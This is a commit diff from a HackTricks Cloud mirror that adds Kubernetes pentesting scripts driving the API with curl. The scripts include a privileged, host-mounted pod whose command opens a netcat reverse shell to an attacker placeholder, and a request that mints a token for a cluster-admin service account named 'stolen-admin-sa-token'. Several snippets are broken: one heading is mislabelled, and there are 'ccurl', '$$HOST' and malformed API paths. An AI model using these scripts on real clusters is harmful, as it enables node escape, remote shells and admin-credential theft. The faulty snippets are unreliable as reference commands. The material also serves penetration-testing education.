mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 05:33:10 -08:00
Merge pull request #142 from VL4DYSL4V/VL4DYSL4V-create-and-delete-k8s-pods-with-curl
Added scripts for creating & deleting K8s pods, SAs, Roles, RoleBindings, and Secrets with curl
This commit is contained in:
@@ -535,6 +535,10 @@ k top pod --all-namespaces
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Interacting with the cluster without using kubectl
|
||||
|
||||
Seeing that Kubernetes control plane exposes a REST-ful API, you can hand-craft HTTP requests and send them with other tools, such as **curl** or **wget**.
|
||||
|
||||
### Escaping from the pod
|
||||
|
||||
If you are able to create new pods you might be able to escape from them to the node. In order to do so you need to create a new pod using a yaml file, switch to the created pod and then chroot into the node's system. You can use already existing pods as reference for the yaml file since they display existing images and pathes.
|
||||
@@ -603,6 +607,241 @@ chroot /root /bin/bash
|
||||
|
||||
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
|
||||
|
||||
### Creating a privileged pod
|
||||
|
||||
The corresponding yaml file is as follows:
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: everything-allowed-exec-pod
|
||||
labels:
|
||||
app: pentest
|
||||
spec:
|
||||
hostNetwork: true
|
||||
hostPID: true
|
||||
hostIPC: true
|
||||
containers:
|
||||
- name: everything-allowed-pod
|
||||
image: alpine
|
||||
securityContext:
|
||||
privileged: true
|
||||
volumeMounts:
|
||||
- mountPath: /host
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
|
||||
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /
|
||||
```
|
||||
|
||||
Create the pod with curl:
|
||||
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 478' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
|
||||
### Delete a pod
|
||||
|
||||
Delete a pod with curl:
|
||||
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
POD_NAME="everything-allowed-exec-pod"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
|
||||
```
|
||||
|
||||
### Create a Service Account
|
||||
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Length: 109' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
|
||||
|
||||
### Delete a Service Account
|
||||
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
SA_NAME=""
|
||||
NAMESPACE="default"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
|
||||
```
|
||||
|
||||
|
||||
### Create a Role
|
||||
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 203' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
|
||||
|
||||
### Delete a Role
|
||||
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
ROLE_NAME=""
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
|
||||
```
|
||||
|
||||
|
||||
### Create a Role Binding
|
||||
|
||||
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 816' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
|
||||
### Delete a Role Binding
|
||||
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
ROLE_BINDING_NAME=""
|
||||
|
||||
curl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
|
||||
```
|
||||
|
||||
### Delete a Secret
|
||||
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
|
||||
curl --path-as-is -i -s -k -X $'POST' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Content-Length: 219' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
|
||||
```
|
||||
|
||||
### Delete a Secret
|
||||
|
||||
```bash
|
||||
CONTROL_PLANE_HOST=""
|
||||
TOKEN=""
|
||||
NAMESPACE="default"
|
||||
SECRET_NAME=""
|
||||
|
||||
ccurl --path-as-is -i -s -k -X $'DELETE' \
|
||||
-H "Host: $CONTROL_PLANE_HOST" \
|
||||
-H "Authorization: Bearer $TOKEN" \
|
||||
-H $'Content-Type: application/json' \
|
||||
-H $'Accept: application/json' \
|
||||
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
|
||||
-H $'Content-Length: 35' \
|
||||
-H $'Accept-Encoding: gzip, deflate, br' \
|
||||
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
|
||||
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
|
||||
```
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
{{#ref}}
|
||||
|
||||
Reference in New Issue
Block a user